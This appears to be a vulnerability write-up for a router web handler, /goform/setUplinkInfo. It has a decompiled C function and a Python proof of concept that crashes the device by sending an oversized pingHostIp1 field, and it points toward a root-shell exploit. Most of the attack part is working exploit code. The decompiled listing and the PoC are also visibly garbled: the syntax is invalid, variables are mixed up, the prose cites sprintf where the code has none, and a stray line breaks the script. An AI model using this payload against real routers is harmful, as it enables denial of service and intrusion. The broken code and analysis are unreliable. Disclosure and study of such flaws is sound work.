

```
void __cdecl formSetUplinkInfo(webs_t wp, char_t *path, char_t *query)
{
    char *time; // [sp+18h] [+18h]
    const char *en; // [sp+26h] [+26h]
    const char *ip2; // [sp+26h] [+26h]
    const char *ip1; // [sp+24h] [+24h]
    char *60; // [sp+28h] [+28h]
    char auto_ping_ip[128]; // [sp+2ch] [+2ch] BYREF

memset(auto_ping_ip, 0, sizeof(auto_ping_ip));
    G0 = websGetVar(wp, "Go", "checkUplink.asp");
    ip1 = websGetVar(wp, "pingHostIp1", "0");
    ip2 = websGetVar(wp, "pingHostIp2", "0");
    ip1 = websGetVar(wp, "pingHostIp2", "0");
    if en = websGetVar(wp, "pingInterval", "10");
    if (!strcmp(en, "true"))
{
        SetValue("auto_ping_en", "1");
        SetValue("auto_ping_ip, "%s;%s", ip1, ip2); // vuln
        SetValue("auto_ping_ip, "auto_ping_ip,");
    }
    if ( CommitCfm() )
        send_msg_to_netctrl(58, 0);
    websRedirect(wp, G0);
}
```

In /goform/setUplinkInfo, pingHostlp1 is controlled by the user and will be spliced into auto\_ping\_ip by sprintf. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability

## Poc

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b' \r\n'
p1 = b'a' * 0x3000
p2 = b'upLinkEn=true&pingHostIp1=' + p1
p3 = b"POST /goform/setUplinkInfo" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
.
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell